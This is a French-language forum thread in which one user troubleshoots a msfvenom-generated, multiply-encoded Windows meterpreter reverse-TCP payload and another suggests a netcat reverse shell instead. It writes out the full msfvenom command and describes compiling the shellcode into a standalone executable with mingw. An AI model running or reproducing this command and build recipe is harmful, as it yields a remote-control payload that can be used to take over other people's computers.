Annonce

Réduire
Aucune annonce.

problème avec les bad characters

Réduire
X
 
  • Filtre
  • Heure
  • Afficher
Tout nettoyer
nouveaux messages

  • problème avec les bad characters

    Bonsoir à tous, je suis confronté en ce moment à un problème qui dépasse toute logique selon moi : je tente d'encoder un payload (ou plutôt un shellcode, mais passons) à l'aide de cette commande : msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.28 LPORT=4444 -e x64/zutto_dekiru -i 10 -b '\x00' -f c -o /home/uvision/Desktop/shellcode.c

    Le problème étant que j'obtiens ce résultat : Attempting to encode payload with 10 iterations of x64/zutto_dekiru
    x64/zutto_dekiru failed with Encoding failed due to a bad character (index=30, char=0x00)
    Error: An encoding exception occurred.


    Je suis bien conscient de la présence de null bytes dans ce shellcode, pour la simple et bonne raison que j'en avais déjà généré auparavant sans l'option "-b", qui est sensée les enlever, et non pas stopper l'encodage... ?

    Bref, bon courage pour me trouver une solution (je suis sous parrot os si ça peut vous intéresser, même si ça ne change rien par rapport à kali de toutes façon)

  • #2
    Bonjour Uvision,

    Question toute bête mais pourquoi veux tu à tout prix retirer le x00?

    F0ngic

    Commentaire


    • #3
      Merci de ta réponse, tout simplement car les null bytes marquent la fin de la chaîne de caractères, et forcent donc l'arrêt de l'exécution du shellcode (avant que ce dernier n'ai pu s'exécuter entièrement bien sûr) (https://hackademics.fr/forum/hacking...ellcode-making).

      Et effectivement, après intégration de ce shellcode dans une template et une compilation, le payload se referme tout seul

      Commentaire


      • #4
        certe je suis d'accord avec toi , mais ce n'est pas systématique.(enfin je pense, pas assez d'expérience encore pour cela)


        De plus si tu regardes le seul truc que j'ai trouvé dans metasploit avec ton encode, tu remarques que le x00 est bien intégré dedans.

        https://github.com/rapid7/metasploit...utto_dekiru.rb

        Après dans mon cas, je n'ai eu à déterminer les badchars que dans le cas ou j'essayais d'injecter du code dans le cadre d'un buffer overflow (Thx OSCP) à l'intérieur d'un fuzzer

        En lien voici, un tuto qui couvre en interne les bad chars

        https://github.com/justinsteven/dost...od_tutorial.md

        F0ngic
        Dernière modification par F0ngic, 26 octobre 2018, 13h19. Motif: Ortho

        Commentaire


        • #5
          En effet, l'auteur de cet encoder a lui-même intégré ce fameux x00 dans ce dernier, étrange à première vue mais si comme tu le dis ce n'est pas systématiquement un problème alors dans ce cas (et merci pour ton tuto). Mais je me confronte à un autre problème :

          -si j'essaye d'intégrer ce shellcode à une template codée en C (http://hebergeurfichier.com/download...795ebe10d.html) : j'insère donc ce même shellcode entre les deux crochets qui définissent la variable "shellcode", variable étant du type char. (enfin si je me souviens bien de mes très faibles connaissance en C). Je compile ensuite le tout avec mingw, puis j'obtiens logiquement un executable.

          Ce même executable s'ouvre (la connexion s'établit sur metasploit), mais se ferme au bout de quelque secondes (et la connexion meurt évidemment...), j'avais donc pensé à un problème de bad characters, mais si ce n'est pas le cas, quelle pourrait être la source de mon problème ?

          Commentaire


          • #6
            Le problème est que je ne sais pas quel type de shellcode tu utilises, pourquoi ne pas regarder coté cible comment cela se comporte.

            Essaye de changer de reverse shell et déjà de ne pas passer par un meterpreter sous msfconsole. Prend un windows/reverse_shell_tcp ouvre un listener avec netcat.

            N'ayant aucune idée de l'application qui est la cible ni de la taille du shellcode, ce sera difficile de te répondre.

            Perso, je n'utilise pas msfconsole pour les rev shell. Si tu as accès à l'ordinateur cible, essaye par l'intermédiaire de msfvenom de lui faire ouvrir calc ou notepad lorsque tu envoie ton shell.

            Bon courage.

            F0ngic

            Commentaire


            • #7
              Pardon, je me suis mal exprimé : je voulais parler d'un payload, en utilisant le mot shellcode au sens trèèèès large du terme... (quoique après avoir vérifier la définition officielle, ce mot s'emploierait uniquement pour parler d'un exploit). Il n'y a donc pas d'application ciblée, et je suppose que la taille importe peu, mais je vais essayer avec netcat.

              Commentaire

              Chargement...
              X